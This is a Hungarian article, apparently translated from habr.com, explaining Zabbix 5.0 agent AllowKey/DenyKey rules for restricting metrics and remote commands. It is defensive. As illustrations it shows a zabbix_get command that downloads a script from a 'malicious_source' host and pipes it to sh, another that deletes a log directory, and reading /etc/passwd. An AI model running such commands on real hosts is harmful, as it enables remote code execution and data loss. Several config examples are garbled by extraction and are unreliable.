
Fekete és fehérlisták támogatása ügynöki oldali metrikákhoz
Tihon Uskov, Integrációs mérnök, Zabbix
Adatbiztonsági problémák
A Zabbix 5.0-ban megjelent egy új funkció, amely javítja a biztonságot a Zabbix Agentet használó rendszerekben, és amely felváltja a régi paramétert EnableRemoteCommands.
Az ügynök által használt rendszerek biztonságának javítása azzal magyarázható, hogy az ügynök számos potenciálisan veszélyes műveletet végrehajthat.
- Az ügynök gyakorlatilag bármilyen információt gyűjthet, beleértve a bizalmas vagy potenciálisan veszélyes adatokat is, konfigurációs fájlokból, naplófájlokból, jelszófájlokból vagy bármilyen más fájlból.
Például a zabbix_get segédprogram segítségével hozzáférhetünk a felhasználók listájához, a felhasználói könyvtárakhoz, jelszófájlokhoz stb.

Adatok hozzáférése a zabbix_get segédprogram segítségével
MEGJEGYZÉS. Az adatok csak akkor érhetők el, ha az ügynöknek olvasási joga van a megfelelő fájlhoz. De például a fájl /etc/passwd/ minden felhasználó számára olvasható.
- Az ügynök potenciálisan veszélyes parancsokat is végrehajthat. Például a * kulcssystem.run[]** lehetővé teszi bármilyen távoli parancs végrehajtását a hálózati csomópontokon, beleértve a Zabbix webes felületén történő szkriptek indítását is, amelyek szintén parancsokat hajtanak végre az ügynök oldalán.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Linux alatt az ügynök alapértelmezés szerint root jogosultságok nélkül fut, míg Windows alatt szolgáltatásként a System néven fut, és korlátlan hozzáférése van a fájlrendszerhez. Ezért, ha a Zabbix Agent telepítése után nem történik módosítás a beállításokban, az ügynök hozzáférést kap a rendszerleíró adatbázishoz, a fájlrendszerhez, és WMI lekérdezéseket hajthat végre.
A korábbi verziókban a paraméter EnableRemoteCommands=0 csak a * kulccsal rendelkező metrikák és a webes felületről indított szkriptek letiltását tette lehetővé, de nem volt lehetőség az egyes fájlokhoz való hozzáférés korlátozására, az ügynökkel együtt telepített egyes kulcsok engedélyezésére vagy letiltására, vagy egyes paraméterek használatának korlátozására.system.run[Az EnableRemoteCommand paraméter használata a Zabbix korábbi verzióiban

AllowKey/DenyKey
A Zabbix 5.0 segít megvédeni a jogosulatlan hozzáféréstől a fehér és fekete listák révén, amelyek lehetővé teszik az ügynöki oldali metrikák engedélyezését vagy letiltását.
A Zabbix 5.0-ban minden kulcs, beleértve a *-t
]**, engedélyezett, és két új ügynök konfigurációs paraméter került hozzáadásra:system.run[AllowKey=
AllowKey= — engedélyezett ellenőrzések;
DenyKey= — tiltottnak nyilvánított ellenőrzések;
ahol — a kulcsnevek mintája, amely paraméterekből áll, és amelyben metajelek (*) használhatók.
Az AllowKey és a DenyKey kulcsok lehetővé teszik, hogy egyes metrikákat egy adott mintán alapulva engedélyezzenek vagy letiltsanak. A konfiguráció más paramétereivel ellentétben az AllowKey/DenyKey paraméterek száma nincs korlátozva. Ez lehetővé teszi a ügynök által a rendszerben végzett műveletek pontos meghatározását, egy ellenőrzésfát létrehozva — végrehajtott kulcsokat, ahol a sorok írásának rendelése rendkívül fontos szerepet játszik.
A szabályok sorrendje
A szabályokat abban a sorrendben ellenőrzik, ahogy azokat a konfigurációs fájlba beírják. A kulcsok ellenőrzése a szabályok alapján az első egyezésig történik, és amint az adat elem kulcsa megegyezik a mintával, az engedélyezésre vagy a letiltásra kerül. Ekkor az ellenőrzési szabályok leállnak, és a többi kulcsot figyelmen kívül hagyják.
Ezért, ha egy elem megfelel mind az engedélyező, mind a letiltó szabálynak, az eredmény attól függ, hogy melyik szabály található először a konfigurációs fájlban.

2 különböző szabály azonos mintával és kulccsal vfs.file.size[/tmp/file]
Az AllowKey/DenyKey kulcsok használati sorrendje:
- pontos szabályok,
- általános szabályok,
- tiltó szabály.
Például, ha szüksége van a fájlok elérésére egy adott mappában, elsőként engedélyeznie kell a hozzáférést, majd később letiltani mindent, ami nem esik az engedélyek hatálya alá. Ha először egy tiltó szabályt használnak, a mappa hozzáférése le lesz tiltva.

Megfelelő sorrend
Ha engedélyezni kell 2 segédprogram futattását a * segítségévelsystem.run[]**, és ha először egy tiltó szabályt határoznak meg, a segédprogramok nem fognak futni, mert az első minta mindig minden kulcshoz illeszkedik, a további szabályokat pedig figyelmen kívül hagyják.

Helytelen sorrend
Minták
Alapvető szabályok
A minta — helyettesítő karakterekkel (wildcard) rendelkező kifejezés. A metajel (*) bármennyi karakter bármilyen számú helyezéséhez megfelel. A metajelek használhatók a kulcsnevekben és a paraméterekben is. Például az első paramétert szigorúan szövegesen lehet meghatározni, a következő pedig wildcard-ként adható meg.
A paramétereket négyzetes zárójelek [] közé kell zárni.
system.run[*— hibásvfs.file*.txt]— hibásvfs.file.*[*]— helyes
Wildcard használati példák.
- A kulcs nevében és a paraméterben. Ebben az esetben a kulcs nem felel meg a hasonló kulcsnak, amely nem tartalmaz paramétert, mivel a mintában megadtuk, hogy egy kulcsnevének egy bizonyos végződése és egy bizonyos paraméterhalmaza van.
- Ha a mintában nem használnak négyzetes zárójeleket, a minta minden olyan kulcsot engedélyez, amely nem tartalmaz paramétereket, és tiltja az összes kulcsot a megadott paraméterrel.
- Ha a kulcs teljesen le van írva, és a paraméterek wildcard-ként vannak megadva, akkor az bármely hasonló kulcshoz illeszkedik bármilyen paraméterrel, és nem egyezik meg a négyzetes zárójelek nélküli kulccsal, azaz engedélyezve vagy tiltva lesz.

Paraméterek kitöltési szabályai.
- Ha érteni kell, hogy a kulcs paraméterekkel van ellátva, a paramétereket a konfigurációs fájlban kell megadni. A paramétereket metakarakterként kell megadni. Gondosan tiltsuk le a hozzáférést bármely fájlhoz, és vegyük figyelembe, hogy a metrika milyen információt adhat meg különböző írásmódok mellett - paraméterekkel és anélkül.

Kulcsok paraméterekkel való írásának sajátosságai
- Ha a kulcs paraméterekkel van megadva, de a paraméterek opcionálisak és metakarakterként vannak megadva, a paraméterek nélküli kulcs engedélyezve lesz. Például, ha meg akarja tiltani a CPU terhelésének információszerzését, és megadja, hogy a kulcs system.cpu.load[*] tiltható, ne feledje, hogy a paraméterek nélküli kulcs vissza fogja adni a terhelés átlagértékét.

Paraméterek kitöltési szabályai
Megjegyzések
Beállítás
- Egyes szabályok nem módosíthatók a felhasználó által, például a felfedezési vagy az ügynökök automatikus regisztrációs szabályai. Az AllowKey/DenyKey szabályok nem érintik a következő paramétereket:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
MEGJEGYZÉS. Ha az adminisztrátor megtilt egy kulcsot, a Zabbix nem ad információt a kérés során arról, hogy miért kerül a metrika vagy kulcs a 'NOTSUPPORTED' kategóriába.‘. Az ügynök log fájljaiban a távoli parancsok végrehajtásának tilalmáról az információ szintén nem jelenik meg. Ezt biztonsági okokból tették, de megnehezítheti a hibakeresést, ha a metrikák valamilyen okból nem támogatott kategóriába kerülnek.Ne számítson egy adott sorrendre a külső konfigurációs fájlok csatlakozásában (például ABC sorrendben)..
- Parancssori segédprogramok
Parancssori segédprogramok
A szabályok beállítása után győződjön meg arról, hogy minden helyesen van beállítva.
Három lehetőség közül lehet választani:
- Hozzáadja a metrikát a Zabbixhoz.
- Tesztelje a következő segítségével zabbix_agentd. A Zabbix ügynök a -print (-p) opcióval megmutatja az összes kulcsot (amelyek alapértelmezetten engedélyezettek), kivéve azokat, amelyeket a konfiguráció tilt. A -test (-t) opcióval a tiltott kulcs esetén az 'Unsupported item key‘.
- Tesztelje a következő segítségével a zabbix_get. Segédprogram a zabbix_get függvény segítségével, -k azt fogja visszaadni, hogy 'ZBX_NOTSUPPORTED: Ismeretlen metrika‘.
Engedélyezés vagy tilthatóság
Megtilthatja a fájlhoz való hozzáférést, és például egy segédprogram segítségével a zabbix_get, hogy a fájl hozzáférése meg van tiltva.

**
MEGJEGYZÉS. A paraméterekben a zárójelek figyelmen kívül vannak hagyva..
Ezáltal egy ilyen fájlhoz más úton hozzáférést lehet engedélyezni. Például, ha szimbolikus hivatkozás vezet rá.

Ajánlott ellenőrizni a szabályok alkalmazásának különböző módjait, és figyelembe venni a megkerülés lehetőségeit.
Kérdések és válaszok
Kérdés. Miért választották a szabályok, engedélyek és tilalmak leírásához ezt a bonyolult mintasémát saját nyelvével? Miért nem volt lehetőség, hogy például a Zabbix által használt reguláris kifejezéseket alkalmazzák?
Válasz. Ez a regex teljesítményének kérdése, mivel az ügynök általában egyedüli, és hatalmas mennyiségű metrikát ellenőriz. A regex egy elég nehéz művelet, és nem tudunk így ezer metrikát ellenőrizni. A joker karakterek - univerzális, széleskörűen alkalmazott és egyszerű megoldás.
Kérdés. Valóban az Include fájlok nem ábécé sorrendben vannak kapcsolva?
Válasz. Tudomásom szerint lehetetlen megjósolni a szabályok alkalmazásának sorrendjét, ha a szabályokat különböző fájlokba szórja. Azt ajánlom, hogy az összes AllowKey/DenyKey szabályt egy Include fájlban gyűjtse össze, mert ezek kölcsönhatásban állnak egymással, és ezt a fájlt csatolja.
Kérdés. A Zabbix 5.0 verzióban az 'EnableRemoteCommands=' a konfigurációs fájlban nem található, és csak az AllowKey/DenyKey érhető el?
Válasz. Igen, minden rendben van..
Köszönöm a figyelmet!
Forrás: habr.com
